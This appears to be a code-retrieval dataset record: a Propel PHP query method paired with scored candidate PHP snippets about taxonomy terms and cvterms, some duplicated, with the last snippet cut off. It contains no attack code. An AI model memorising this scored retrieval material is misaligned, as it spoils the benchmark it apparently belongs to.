[ { "docid": "78123bd30c0f8a086f19d482022074a4", "score": "0.6037319", "text": "public function useCvtermQuery($relationAlias = null, $joinType = Criteria::INNER_JOIN)\n {\n return $this\n ->joinCvterm($relationAlias, $joinType)\n ->useQuery($relationAlias ? $relationAlias : 'Cvterm', '\\cli_db\\propel\\CvtermQuery');\n }", "title": "" } ]
[ { "docid": "d2053f6e283989527a8aefe98b6b83f4", "score": "0.6138191", "text": "public function getCvtermId()\n {\n return $this->cvterm_id;\n }", "title": "" }, { "docid": "cc849e4d33dc2408c7cc1bb78de6727e", "score": "0.59006906", "text": "public function term()\n\t{\n\t\treturn $this->belongsTo('App\\Term');\n\t}", "title": "" }, { "docid": "cc849e4d33dc2408c7cc1bb78de6727e", "score": "0.59006906", "text": "public function term()\n\t{\n\t\treturn $this->belongsTo('App\\Term');\n\t}", "title": "" }, { "docid": "b2cf65761d88b167442ed21e59852728", "score": "0.58785945", "text": "public function term()\n {\n return $this->belongsTo('App\\Term');\n }", "title": "" }, { "docid": "98a0b932f613736bed9d51487e3488d3", "score": "0.5807789", "text": "public function useFeatureCvtermQuery($relationAlias = null, $joinType = Criteria::INNER_JOIN)\n {\n return $this\n ->joinFeatureCvterm($relationAlias, $joinType)\n ->useQuery($relationAlias ? $relationAlias : 'FeatureCvterm', '\\cli_db\\propel\\FeatureCvtermQuery');\n }", "title": "" }, { "docid": "9636033b55a3639f7911192334f1f803", "score": "0.554491", "text": "public function term()\n {\n return $this->belongsTo(ModelResolver::resolve('Term'), 'term_id');\n }", "title": "" }, { "docid": "1218506dea55d75ef468efe444baeb87", "score": "0.5452525", "text": "public function getFeatureCvtermsJoinFeature($criteria = null, $con = null, $join_behavior = Criteria::LEFT_JOIN)\n {\n $query = FeatureCvtermQuery::create(null, $criteria);\n $query->joinWith('Feature', $join_behavior);\n\n return $this->getFeatureCvterms($query, $con);\n }", "title": "" }, { "docid": "2e6c59aceca9f9f47387e63b4eec8ca4", "score": "0.5390921", "text": "private static function _completeTerm(& $term)\n {\n $objStr = (string) $term;\n $term->setTokens([$objStr]);\n $term->setFactorIndexes([]);\n $signature = self::_getSignature($term);\n $term->setSignature($signature);\n $tag = self::_getTag($term);\n $term->setTag($tag);\n $likeTermSignature = self::_getBySignatureType($term, K::LIKE_TERM);\n $term->setLikeTermSignature($likeTermSignature);\n }", "title": "" }, { "docid": "2aa6c3143425d83bef606c09c61e4dbb", "score": "0.5385607", "text": "public function getTerm($term_id);", "title": "" }, { "docid": "3dc8b414b961612b87bca8b1e9d1e25b", "score": "0.5384239", "text": "public function getTerm()\n {\n return $this->term;\n }", "title": "" }, { "docid": "3dc8b414b961612b87bca8b1e9d1e25b", "score": "0.5384239", "text": "public function getTerm()\n {\n return $this->term;\n }", "title": "" }, { "docid": "3dc8b414b961612b87bca8b1e9d1e25b", "score": "0.5384239", "text": "public function getTerm()\n {\n return $this->term;\n }", "title": "" }, { "docid": "dd7dfdd56e7ebd687ead0c863f1ce076", "score": "0.5380908", "text": "public function setTerm($term)\n {\n $this->term = $term;\n }", "title": "" }, { "docid": "6305ef0776448da93c2e2f48dd5f6733", "score": "0.5378825", "text": "public function setTerm($var)\n {\n GPBUtil::checkString($var, True);\n $this->term = $var;\n\n return $this;\n }", "title": "" }, { "docid": "f583e83088b769a3ad2dafbe97d1f6f1", "score": "0.53779566", "text": "public function form($term, $taxonomy)\n {\n\n }", "title": "" }, { "docid": "b2a5beeb468af46de546236ffd5e7557", "score": "0.5375269", "text": "function drush_behat_op_create_term($term) {\n $term = (object) $term;\n // Map vocabulary names to vid, these take precedence over machine names.\n if (!isset($term->vid)) {\n $vocabularies = \\taxonomy_get_vocabularies();\n foreach ($vocabularies as $vid => $vocabulary) {\n if ($vocabulary->name == $term->vocabulary_machine_name) {\n $term->vid = $vocabulary->vid;\n }\n }\n }\n\n if (!isset($term->vid)) {\n // Try to load vocabulary by machine name.\n $vocabularies = \\taxonomy_vocabulary_load_multiple(FALSE, array(\n 'machine_name' => $term->vocabulary_machine_name,\n ));\n if (!empty($vocabularies)) {\n $vids = array_keys($vocabularies);\n $term->vid = reset($vids);\n }\n }\n\n // If `parent` is set, look up a term in this vocab with that name.\n if (isset($term->parent)) {\n $parent = \\taxonomy_get_term_by_name($term->parent, $term->vocabulary_machine_name);\n if (!empty($parent)) {\n $parent = reset($parent);\n $term->parent = $parent->tid;\n }\n }\n\n if (empty($term->vid)) {\n throw new \\Exception(sprintf('No \"%s\" vocabulary found.'));\n }\n\n // Attempt to decipher any fields that may be specified.\n _drush_behat_expand_entity_fields('taxonomy_term', $term);\n\n \\taxonomy_term_save($term);\n var_export($term);\n\n return $term;\n}", "title": "" }, { "docid": "a5254cbd2b01a054493d9436e6c8ee7f", "score": "0.53362817", "text": "public function initFeatureCvterms($overrideExisting = true)\n {\n if (null !== $this->collFeatureCvterms && !$overrideExisting) {\n return;\n }\n $this->collFeatureCvterms = new PropelObjectCollection();\n $this->collFeatureCvterms->setModel('FeatureCvterm');\n }", "title": "" }, { "docid": "4feae84efa58a7429d138235df29da7d", "score": "0.5329902", "text": "public function getTerm() {\n\t\treturn $this->term;\n\t}", "title": "" }, { "docid": "2da83f3750716b2458a4fd223ced35f2", "score": "0.53263515", "text": "public function getTaxonomyTermView(TermInterface $taxonomy_term);", "title": "" }, { "docid": "9ab45483f0eddb90def57e87fefc5b24", "score": "0.5318592", "text": "public function show(Term $document)\n {\n //\n }", "title": "" }, { "docid": "4536998d9fb3b8ab7b63c5ec0f5222b6", "score": "0.52974087", "text": "public function addFeatureCvterm(FeatureCvterm $l)\n {\n if ($this->collFeatureCvterms === null) {\n $this->initFeatureCvterms();\n $this->collFeatureCvtermsPartial = true;\n }\n if (!in_array($l, $this->collFeatureCvterms->getArrayCopy(), true)) { // only add it if the **same** object is not already associated\n $this->doAddFeatureCvterm($l);\n }\n\n return $this;\n }", "title": "" }, { "docid": "ef15ab91729f58e677442b4f48b2b1c3", "score": "0.52918905", "text": "function oa_core_create_term($vocab_name, $name, $params, $update = TRUE) {\n $vocab = oa_core_taxonomy_vocabulary($vocab_name);\n $term = NULL;\n\n // This function can get called from install hooks.\n // Make sure the Taxonomy is available.\n if (!$vocab) {\n features_revert(array(\n 'oa_core' => array('taxonomy'),\n 'oa_sections' => array('taxonomy'),\n ));\n drupal_static('taxonomy_vocabulary_get_names');\n $vocab = oa_core_taxonomy_vocabulary($vocab_name);\n }\n\n if (!empty($vocab)) {\n $conditions = array(\n 'name' => trim($name),\n 'vid' => $vocab->vid,\n );\n $term = current( entity_load('taxonomy_term', array(), $conditions));\n\n if (!$term || $update) {\n\n // Make sure the fields are available.\n $field_info = field_info_instances('taxonomy_term', $vocab_name);\n $revert = array();\n if (empty($field_info['field_oa_node_types'])) {\n $revert['oa_buttons'] = array('field_base', 'field_instance');\n }\n if (empty($field_info['field_oa_section_layout'])) {\n $revert['oa_core'] = array('field_base', 'field_instance');\n }\n if (empty($field_info['field_oa_icon_class'])) {\n $revert['oa_sections'] = array('field_base', 'field_instance');\n }\n if (!empty($revert)) {\n features_revert($revert);\n field_info_cache_clear();\n }\n\n $description = $params['description'];\n $node_options = $params['node_options'];\n $layout = $params['layout'];\n $icon = !empty($params['icon']) ? $params['icon'] : '';\n\n if ($term && $update) {\n // Update existing term.\n if (isset($term->field_oa_icon_class)) {\n $term->field_oa_icon_class[LANGUAGE_NONE][0]['value'] = $icon;\n }\n $term->field_oa_section_layout[LANGUAGE_NONE][0]['value'] = $layout;\n $term->field_oa_node_types[LANGUAGE_NONE] = array();\n }\n else {\n // Create new term.\n $term = (object)array(\n 'vid' => $vocab->vid,\n 'name' => $name,\n 'description' => $description,\n 'format' => 'panopoly_wysiwyg_text',\n 'field_oa_icon_class' => array(\n LANGUAGE_NONE => array(\n array('value' => $icon),\n ),\n ),\n 'field_oa_section_layout' => array(\n LANGUAGE_NONE => array(\n array('value' => $layout),\n ),\n ),\n 'field_oa_node_types' => array(\n LANGUAGE_NONE => array(),\n ),\n 'path' => array(\n 'alias' => '',\n 'pathauto' => '',\n ),\n 'oa_button' => TRUE,\n );\n }\n\n if (!empty($node_options)) {\n foreach ($node_options as $type) {\n $term->field_oa_node_types[LANGUAGE_NONE][] = array('value' => $type);\n }\n }\n taxonomy_term_save($term);\n }\n }\n return $term;\n}", "title": "" }, { "docid": "d18298fc0eed1a9f28b8e478111d70cc", "score": "0.52540725", "text": "function render_term($tid, $values) {\n if (empty($this->api_terms)) {\n $tree = project_release_get_api_taxonomy();\n foreach ($tree as $term) {\n $this->api_terms[$term->tid] = $term;\n }\n }\n $current_term = $this->api_terms[$tid];\n if (!empty($this->options['link_to_taxonomy'])) {\n $this->options['alter']['make_link'] = TRUE;\n $this->options['alter']['path'] = taxonomy_term_path($current_term);\n }\n return check_plain($current_term->name);\n }", "title": "" }, { "docid": "02197561c0697c2075c04dff5d8bce6f", "score": "0.5244822", "text": "public function terms() {\r\n $this->load->model('conditions/mdl_conditions');\r\n $template_vars['conditions'] = $this->mdl_conditions->get_terms_and_condtions();\r\n $this->load->view('layout/templates/terms', $template_vars);\r\n }", "title": "" }, { "docid": "ebc6bab3ce7a8ce618c3519ac5cd7f63", "score": "0.5217175", "text": "public function getFeatureCvtermpropsJoinFeatureCvterm($criteria = null, $con = null, $join_behavior = Criteria::LEFT_JOIN)\n {\n $query = FeatureCvtermpropQuery::create(null, $criteria);\n $query->joinWith('FeatureCvterm', $join_behavior);\n\n return $this->getFeatureCvtermprops($query, $con);\n }", "title": "" }, { "docid": "0e4d541d3cffc5b80d351922bfeed46e", "score": "0.52129406", "text": "public function getFeatureCvtermsJoinPub($criteria = null, $con = null, $join_behavior = Criteria::LEFT_JOIN)\n {\n $query = FeatureCvtermQuery::create(null, $criteria);\n $query->joinWith('Pub', $join_behavior);\n\n return $this->getFeatureCvterms($query, $con);\n }", "title": "" }, { "docid": "b3cd26398336700dd9fff154caa52902", "score": "0.52054083", "text": "private function corefSearchTerm($searchTerm){\n \n $query = $this->conn->createQueryBuilder();\n $query->select('cn.*')\n ->from('coref_node', 'cn')\n ->where('text = ?')\n ->setParameter(0, $searchTerm)\n ; \n $cn = $query->execute();\n $coref = $cn->fetch();\n \n // now get the referenced values too\n $query = $this->conn->createQueryBuilder();\n $query->select('cn.*')\n ->from('coref_node', 'cn')\n ->where('coref_id = ?')\n ->setParameter(0, $coref['coref_id'])\n ; \n $cn = $query->execute();\n \n return $cn->fetchAll(); \n }", "title": "" }, { "docid": "23c5d17918d3b92c7e65579de65ece6c", "score": "0.518513", "text": "public function add_term( $term, $target_term = null, $before = false )\n\t{\n\t\t$new_term = $term;\n\t\tif ( is_string( $term ) ) {\n\t\t\t$new_term = new Term( array( 'term_display' => $term ) );\n\t\t}\n\n\t\t$new_term->vocabulary_id = $this->id;\n\n\t\t$ref = 0;\n\t\tDB::begin_transaction();\n\n\t\t// If there are terms in the vocabulary, work out the reference point\n\t\tif ( !$this->is_empty() ) {\n\n\t\t\tif ( $this->hierarchical ) {\n\t\t\t\t// If no parent is specified, put the new term after the last term\n\t\t\t\tif ( null == $target_term ) {\n\t\t\t\t\t$ref = DB::get_value( 'SELECT mptt_right FROM {terms} WHERE vocabulary_id=? ORDER BY mptt_right DESC LIMIT 1', array( $this->id ) );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tif ( ! $before ) {\n\t\t\t\t\t\t$ref = $target_term->mptt_right - 1;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$ref = $target_term->mptt_left - 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// If no before_term is specified, put the new term after the last term\n\t\t\t\tif ( ! $before ) {\n\t\t\t\t\t$ref = DB::get_value( 'SELECT mptt_right FROM {terms} WHERE vocabulary_id=? ORDER BY mptt_right DESC LIMIT 1', array( $this->id ) );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$ref = $target_term->mptt_left - 1;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Make space for the new node\n\t\t\t$params = array( 'vocab_id' => $this->id, 'ref' => $ref );\n\t\t\t$res = DB::query( 'UPDATE {terms} SET mptt_right=mptt_right+2 WHERE vocabulary_id=:vocab_id AND mptt_right>:ref', $params );\n\t\t\tif ( ! $res ) {\n\t\t\t\tDB::rollback();\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t$res = DB::query( 'UPDATE {terms} SET mptt_left=mptt_left+2 WHERE vocabulary_id=:vocab_id AND mptt_left>:ref', $params );\n\t\t\tif ( ! $res ) {\n\t\t\t\tDB::rollback();\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}\n\n\t\t// Set the right and left appropriately\n\t\t$new_term->mptt_left = $ref + 1;\n\t\t$new_term->mptt_right = $ref + 2;\n\n\t\t// Insert the new node\n\t\t$result = $new_term->insert();\n\t\tif( $result ) {\n\t\t\tDB::commit();\n\t\t\treturn $new_term;\n\t\t}\n\t\telse {\n\t\t\tDB::rollback();\n\t\t\treturn false;\n\t\t}\n\n\t}", "title": "" }, { "docid": "b9395f0b47cc3a2a4f72d2cb39ecbedb", "score": "0.51821244", "text": "protected function buildTermObj($term)\n {\n $termObj = new Term($term);\n return $termObj;\n }", "title": "" }, { "docid": "be7f992adf47acea58dc589fa220d15a", "score": "0.5169002", "text": "public function setTerm($term) {\n\t\t$this->term = $this->normalizeValue($term);\n\t}", "title": "" }, { "docid": "575f82d8e531349bf1f50145a889cb10", "score": "0.51490873", "text": "public function setCvtermId($v)\n {\n if ($v !== null && is_numeric($v)) {\n $v = (int) $v;\n }\n\n if ($this->cvterm_id !== $v) {\n $this->cvterm_id = $v;\n $this->modifiedColumns[] = CvtermPeer::CVTERM_ID;\n }\n\n\n return $this;\n }", "title": "" }, { "docid": "d62ebeaa911f17ebebfb87c9035c3ef1", "score": "0.5136059", "text": "public function termsAction()\n {\n\t\t$dom = new DOMDocument;\n\t\t$dom->load(\"/home/sites/site5/web/FO/cgu/terms.xml\");\n\t\t\n\t\t$titles = $dom->getElementsByTagName('title');\n\t\tforeach ($titles as $title) \n\t\t\t$this->_view->termtitle=$title->nodeValue;\n\t\t\n\t\t$contents = $dom->getElementsByTagName('content');\n\t\tforeach ($contents as $content) \n\t\t\t$this->_view->termcontent=$content->nodeValue; \n\t\t\t\n $this->render(\"Contrib_terms\");\n }", "title": "" }, { "docid": "4fef18f9d270d39823022d2ac587d259", "score": "0.5123373", "text": "function _create_term($vocab_name, $term, $desc = '', $weight = 0, $add_parent = 0) {\n $added = NULL;\n $added = taxonomy_get_term_by_name($term);\n $vid = variable_get($vocab_name . '_vocabulary', 0);\n if ($added == '' || $added == NULL || $vid > 0) {\n $new_term = array(\n 'name' => $term,\n 'description' => $desc,\n 'parent' => array($add_parent),\n 'weight' => $weight,\n 'vid' => $vid,\n );\n $term_obj = (object) $new_term;\n taxonomy_term_save($term_obj);\n //in case you want it.\n if ($term_obj->tid > 0) {\n return $term_obj->tid;\n }\n else { return 'trouble'; }\n }\n}", "title": "" }, { "docid": "8047076c604bea532ca85964f816732a", "score": "0.5119665", "text": "public function getFeatureCvterms($criteria = null, PropelPDO $con = null)\n {\n $partial = $this->collFeatureCvtermsPartial && !$this->isNew();\n if (null === $this->collFeatureCvterms || null !== $criteria || $partial) {\n if ($this->isNew() && null === $this->collFeatureCvterms) {\n // return empty collection\n $this->initFeatureCvterms();\n } else {\n $collFeatureCvterms = FeatureCvtermQuery::create(null, $criteria)\n ->filterByCvterm($this)\n ->find($con);\n if (null !== $criteria) {\n if (false !== $this->collFeatureCvtermsPartial && count($collFeatureCvterms)) {\n $this->initFeatureCvterms(false);\n\n foreach($collFeatureCvterms as $obj) {\n if (false == $this->collFeatureCvterms->contains($obj)) {\n $this->collFeatureCvterms->append($obj);\n }\n }\n\n $this->collFeatureCvtermsPartial = true;\n }\n\n $collFeatureCvterms->getInternalIterator()->rewind();\n return $collFeatureCvterms;\n }\n\n if($partial && $this->collFeatureCvterms) {\n foreach($this->collFeatureCvterms as $obj) {\n if($obj->isNew()) {\n $collFeatureCvterms[] = $obj;\n }\n }\n }\n\n $this->collFeatureCvterms = $collFeatureCvterms;\n $this->collFeatureCvtermsPartial = false;\n }\n }\n\n return $this->collFeatureCvterms;\n }", "title": "" }, { "docid": "0333ea95368732fe57f3b4149c097629", "score": "0.5115695", "text": "public function terms()\n\t{\n\t\treturn $this->hasMany('App\\Term');\n\t}", "title": "" }, { "docid": "320e8deac10607fedba8fa06ba55575f", "score": "0.5103235", "text": "public function fieldReferencedTaxonomyTermCtrl($fieldName, EntityControllerFactoryInterface $entityFactory, $idx = 0, $lang = LANGUAGE_NONE);", "title": "" }, { "docid": "f0f67d26eda52d99c53e4833ee0fd03e", "score": "0.50853175", "text": "function rapid_preprocess_taxonomy_term(&$variables) {\n // Add a class based on view_mode.\n $variables['classes_array'][] = 'term-' . drupal_html_class($variables['view_mode']);\n $variables['classes_array'][] = 'term-' . drupal_html_class($variables['vocabulary_machine_name']) . '-' . drupal_html_class($variables['view_mode']);\n\n $variables['title_attributes_array']['class'][] = 'term__title';\n}", "title": "" }, { "docid": "cca7338ead361b70474358b6866ca089", "score": "0.508382", "text": "public function terms(){\n return $this->hasMany('App\\Models\\Term');\n }", "title": "" }, { "docid": "48bbe7cff5db750221beb27fd4b9414c", "score": "0.504347", "text": "public function setTerm($term)\n {\n $this->term = $term;\n return $this;\n }", "title": "" }, { "docid": "e5f88d2fa47a0c88f1b16ddf6062867e", "score": "0.50359184", "text": "protected function initializeCatalogAndTerm () {\n\t\t// Select the catalog.\n\t\tif ($this->_getParam('catalog')) {\n\t\t\t$this->catalogId = $this->_helper->osidId->fromString($this->_getParam('catalog'));\n\t\t\t$this->setSavedCatalogId($this->catalogId);\n\t\t} else {\n\t\t\t// Check for a saved catalog id.\n\t\t\t$this->catalogId = $this->getSavedCatalogId();\n\t\t}\n\t\t\n\t\t// Load the termLookupSession\n\t\tif ($this->catalogId) {\n\t\t\t$this->termLookupSession = $this->_helper->osid->getCourseManager()->getTermLookupSessionForCatalog($this->catalogId);\n\t\t} else {\n\t\t\t$this->termLookupSession = $this->_helper->osid->getCourseManager()->getTermLookupSession();\n\t\t\t$this->catalogId = $this->termLookupSession->getCourseCatalogId();\n\t\t}\n\t\t\n\t\t\n\t\t// Select the term\n\t\tif ($this->_getParam('term') == 'ANY') {\n\t\t\t// Don't set a term\n\t\t\t$this->termId = null;\n\t\t} else if (!$this->_getParam('term') || $this->_getParam('term') == 'CURRENT') {\n\t\t\t$this->termId = $this->_helper->osidTerms->getCurrentTermId($this->catalogId);\n\t\t} else {\n\t\t\t$this->termId = $this->_helper->osidId->fromString($this->_getParam('term'));\n\t\t}\n\t}", "title": "" }, { "docid": "d6e28974de9ba2655c005d5cc7297f86", "score": "0.5018919", "text": "public function insertTerm($term, $id, $docFreq = 1, $termFreq = 1, $termExisted = true){\n $term = strtoupper($term);\n\n //empty the current vocabulary array\n if(count($this->vocabulary) > 0){\n $this->vocabulary = [];\n }\n\n $current_node = $this->root_node;\n while(true){\n if($term == $current_node->getTerm()){\n if($current_node->getTermFreq() == 0){\n //we are dealing with a new document \n if($this->constructing_index){\n $current_node->setDocFreq($current_node->getDocFreq()+1);\n }\n else{\n if(!$current_node->getTermExisted() && !$current_node->getIsNew()){\n $current_node->setDocFreq($current_node->getDocFreq()+1);\n }\n }\n \n }\n\n $current_node->setTermFreq($current_node->getTermFreq() + 1);\n break;\n } \n else if($term < $current_node->getTerm()){\n //go left\n if($current_node->leftChild){\n $current_node = $current_node->leftChild;\n continue;\n }else{\n $current_node->leftChild = new TermNode($term, $id, $docFreq, $termFreq);\n $current_node->leftChild->setTermExisted($termExisted);\n if(!$this->constructing_index && $id == 0){\n $current_node->leftChild->setIsNew(true);\n }\n break;\n }\n }\n else{\n //go right\n if($current_node->rightChild){\n $current_node = $current_node->rightChild;\n continue;\n }else{\n $current_node->rightChild = new TermNode($term, $id, $docFreq, $termFreq);\n $current_node->rightChild->setTermExisted($termExisted);\n if(!$this->constructing_index && $id == 0){\n $current_node->rightChild->setIsNew(true);\n }\n break;\n }\n }\n\n }\n\n return;\n }", "title": "" }, { "docid": "95d6dc2cd1d1e2bc4f0eceb11fea5579", "score": "0.49973857", "text": "function taxonomyList($vid,$firstTerm){\n //List terms\n $termOb = new StdClass();\n $termArr = array();\n $defaultType = 0;\n $sql = \"SELECT ttd.tid, ttd.name \".\n \"FROM {taxonomy_term_data} AS ttd \".\n \"WHERE ttd.vid = :vid ORDER BY ttd.weight ASC\";\n $result = db_query($sql, array(':vid' => $vid));\n $number_of_rows = $result->rowCount(); //Count the results.\n if($number_of_rows > 0){\n if ($firstTerm != '') {\n $termArr[0] = $firstTerm;\n }\n foreach ($result as $record) {\n $termArr[$record->tid] = $record->name;\n }\n }\n $termOb->list = $termArr;\n $termOb->default = $defaultType;\n\n return $termOb;\n}", "title": "" }, { "docid": "70d254170ce333a638bbf42072752e4e", "score": "0.498493", "text": "public function getTerm_detail($condition=''){\n return $this->getModelRecord(\"Term\",\"Term_detail\",$condition);\n }", "title": "" }, { "docid": "4b2d8ca2c5bb783d243ea01d2e197a9b", "score": "0.49497885", "text": "public function delete_term( $term )\n\t{\n\t\tif ( ! is_object( $term ) ) {\n\t\t\t$term = $this->get_term( $term );\n\t\t}\n\n\t\t// TODO How should we handle deletion of a term with descendants?\n\t\t// Perhaps a $keep_children flag to move descendants to be descendants of\n\t\t// the deleted term's parent? Terms should not change the left and right\n\t\t// values of other terms, and thus their deletion should only occur through\n\t\t// the vocabulary to which they belong. Is it feasible to restrict this?\n\t\t// For the moment, just delete the descendants\n\t\t$params = array( $this->id, $term->mptt_left, $term->mptt_right );\n\t\tDB::query( 'DELETE from {terms} WHERE vocabulary_id=? AND mptt_left>? AND mptt_right<?', $params );\n\n\t\t// Fix mptt_left and mptt_right values for other nodes in the vocabulary\n\t\t$offset = $term->mptt_right - $term->mptt_left + 1;\n\t\t$ref = $this->mptt_left;\n\t\t$params = array( $offset, $this->id, $term->mptt_left );\n\n\t\t// Delete the term\n\t\t$term->delete();\n\n\t\t// Renumber left and right values of other nodes appropriately\n\t\tDB::query( 'UPDATE {terms} SET mptt_right=mptt_right-? WHERE vocabulary_id=? AND mptt_right>?', $params );\n\t\tDB::query( 'UPDATE {terms} SET mptt_left=mptt_left-? WHERE vocabulary_id=? AND mptt_left>?', $params );\n\n\t}", "title": "" }, { "docid": "89380e7c0704cb71a86ec95c027eb414", "score": "0.4947105", "text": "function edit_term($term_id, $term_taxonomy_id) {\n\t\tglobal $wpdb;\n\t\t$language_preference_id = $this->language_preference_id[0];\n\t\t$result = $wpdb->get_row(\"SELECT t.name, t.slug, ta.description FROM $wpdb->terms t INNER JOIN $wpdb->term_taxonomy ta ON (ta.term_id = t.term_id) WHERE t.term_id = $term_id\", ARRAY_A);\n\t\t$wpdb->query(\"UPDATE $this->term2syn_table SET synonym='\".$result['name'].\"', sanitised='\".$result['slug'].\"', description='\".addslashes($result['description']).\"' WHERE term_id = $term_id AND language_id = $language_preference_id\");\n\t}", "title": "" }, { "docid": "5a42791dedea4e0c551e731cf6cfb179", "score": "0.49421272", "text": "public function setFeatureCvterms(PropelCollection $featureCvterms, PropelPDO $con = null)\n {\n $featureCvtermsToDelete = $this->getFeatureCvterms(new Criteria(), $con)->diff($featureCvterms);\n\n $this->featureCvtermsScheduledForDeletion = unserialize(serialize($featureCvtermsToDelete));\n\n foreach ($featureCvtermsToDelete as $featureCvtermRemoved) {\n $featureCvtermRemoved->setCvterm(null);\n }\n\n $this->collFeatureCvterms = null;\n foreach ($featureCvterms as $featureCvterm) {\n $this->addFeatureCvterm($featureCvterm);\n }\n\n $this->collFeatureCvterms = $featureCvterms;\n $this->collFeatureCvtermsPartial = false;\n\n return $this;\n }", "title": "" }, { "docid": "6ea5afd79afb6c32e88c0290d2c58e15", "score": "0.49011934", "text": "public function actionTerms()\n\t{\n\t\t$Obj = new common;\n\t\t$data['PageDetails'] = $Obj->getSelectQueryRowDetails(\"{{pages}}\",\"*\",\"page_url='terms'\",\"\");\n\t\t$this->render('trl-terms',array('data'=>$data));\n\t}", "title": "" }, { "docid": "2c8892386f81e68744c2df0653652ca9", "score": "0.48827198", "text": "public function getWpTerm(): WP_Term;", "title": "" }, { "docid": "0c37545236d8d2424f8ce3752347e771", "score": "0.487006", "text": "public function getTerm_grid($condition=''){\n return $this->getModel(\"Term\",\"Term_grid\",$condition);\n }", "title": "" }, { "docid": "60e49dd52e8994c21137c2d45ab369da", "score": "0.48378775", "text": "public function CurriculumVitae()\n {\n return $this->belongsTo('App\\CurriculumVitae', 'id_cv');\n }", "title": "" }, { "docid": "7294546dc1e37d234c9a3a33b7148a0e", "score": "0.47969133", "text": "public function getObjectTerms() {\n $this->_objectTerms = new ObjectTerms();\n return $this->_objectTerms;\n }", "title": "" }, { "docid": "fc84087c5a48db760f19582fbcf30695", "score": "0.47843224", "text": "public function joinCvterm($relationAlias = null, $joinType = Criteria::INNER_JOIN)\n {\n $tableMap = $this->getTableMap();\n $relationMap = $tableMap->getRelation('Cvterm');\n\n // create a ModelJoin object for this join\n $join = new ModelJoin();\n $join->setJoinType($joinType);\n $join->setRelationMap($relationMap, $this->useAliasInSQL ? $this->getModelAlias() : null, $relationAlias);\n if ($previousJoin = $this->getPreviousJoin()) {\n $join->setPreviousJoin($previousJoin);\n }\n\n // add the ModelJoin to the current object\n if ($relationAlias) {\n $this->addAlias($relationAlias, $relationMap->getRightTable()->getName());\n $this->addJoinObject($join, $relationAlias);\n } else {\n $this->addJoinObject($join, 'Cvterm');\n }\n\n return $this;\n }", "title": "" }, { "docid": "3a34e376b656e84740112aba23cca1d5", "score": "0.47574785", "text": "function getLuke($num_terms = 0);", "title": "" }, { "docid": "d2270c72bc725decc5cebfec0a63e980", "score": "0.47554886", "text": "function _calais_taxonomy_node_get_terms($node) { \n if (!isset($node->vid))\n return NULL;\n\n static $terms;\n \n $result = db_query(db_rewrite_sql('SELECT t.* FROM {term_node} r \n INNER JOIN {term_data} t ON r.tid = t.tid \n INNER JOIN {vocabulary} v ON t.vid = v.vid \n WHERE r.vid = %d ORDER BY v.weight, t.weight, t.name', 't', 'tid'), $node->vid);\n $terms[$node->vid]['tid'] = array();\n while ($term = db_fetch_object($result)) {\n $terms[$node->vid]['tid'][$term->tid] = $term;\n }\n \n return $terms[$node->vid]['tid'];\n}", "title": "" }, { "docid": "6ee4781e24781b7b4e89f33ae514a813", "score": "0.47540435", "text": "public function __construct() {\n\t\t$this->taxonomy_term = new TaxonomyTerm();\n\t\t$this->taxonomy_vocabulary = new TaxonomyVocabulary();\n\t}", "title": "" }, { "docid": "e84ed6a6edf4bc09d10ce906ccb3573f", "score": "0.47327766", "text": "public function query($term)\n\t{\n\t\treturn Term::parse($this, $term);\n\t}", "title": "" }, { "docid": "5096f259fe9916da3eb3035d73553729", "score": "0.4711597", "text": "public function getTerm_list($condition=''){\n return $this->getModel(\"Term\",\"Term_list\",$condition);\n }", "title": "" }, { "docid": "743b389b4cc19e722a54d08f407454cf", "score": "0.47076106", "text": "public function get_term( $term = null, $term_class = '\\Filmio\\Term' )\n\t{\n\t\t$params = array( 'vocab_id' => $this->id );\n\t\t$query = '';\n\t\tif ( $term instanceof Term ) {\n\t\t\t$params[ 'term_id' ] = $term->id;\n\t\t\t$query = 'SELECT * FROM {terms} WHERE vocabulary_id = :vocab_id AND id = ABS(:term_id)';\n\t\t}\n\t\telseif ( is_null( $term ) ) {\n\t\t\t// The root node has an mptt_left value of 1\n\t\t\t$params[ 'left' ] = 1;\n\t\t\t$query = 'SELECT * FROM {terms} WHERE vocabulary_id = :vocab_id AND mptt_left = :left';\n\t\t}\n\t\telseif ( is_string( $term ) ) {\n\t\t\t$params[ 'term' ] = $term;\n\t\t\t$query = 'SELECT * FROM {terms} WHERE vocabulary_id = :vocab_id AND (term = :term OR term_display = :term)';\n\t\t}\n\t\telseif ( is_int( $term ) ) {\n\t\t\t$params[ 'term_id' ] = $term;\n\t\t\t$query = 'SELECT * FROM {terms} WHERE vocabulary_id = :vocab_id AND id = ABS(:term_id)';\n\t\t}\n\t\treturn DB::get_row( $query, $params, $term_class );\n\t}", "title": "" }, { "docid": "04d2bf94f98e28d5eafd8ae0453706f8", "score": "0.469597", "text": "public function termAdmitted(){\n return $this->belongsTo(AcademicTerm::class, 'admitted_term_id');\n }", "title": "" }, { "docid": "a058d63e3f2ead514b8e8d0bdea2eb43", "score": "0.46702114", "text": "public function countFeatureCvterms(Criteria $criteria = null, $distinct = false, PropelPDO $con = null)\n {\n $partial = $this->collFeatureCvtermsPartial && !$this->isNew();\n if (null === $this->collFeatureCvterms || null !== $criteria || $partial) {\n if ($this->isNew() && null === $this->collFeatureCvterms) {\n return 0;\n }\n\n if($partial && !$criteria) {\n return count($this->getFeatureCvterms());\n }\n $query = FeatureCvtermQuery::create(null, $criteria);\n if ($distinct) {\n $query->distinct();\n }\n\n return $query\n ->filterByCvterm($this)\n ->count($con);\n }\n\n return count($this->collFeatureCvterms);\n }", "title": "" }, { "docid": "5886992a52b76cbd0273848359c4671b", "score": "0.46648845", "text": "public function clearFeatureCvterms()\n {\n $this->collFeatureCvterms = null; // important to set this to null since that means it is uninitialized\n $this->collFeatureCvtermsPartial = null;\n\n return $this;\n }", "title": "" }, { "docid": "3e22dc87771d1338895f4e30ded6b645", "score": "0.46625867", "text": "function render_terms() {\n\t\t/**\n\t\t* is the therms and conditions check activ?\n\t\t**/\n\t\tif( $this->conf['terms.']['active'] == 1) {\n\t\t\t// Extract subparts from the template\n\t\t\t$subpart = $this->cObj->getSubpart($this->templateHtml, '###TERMS###');// Fill 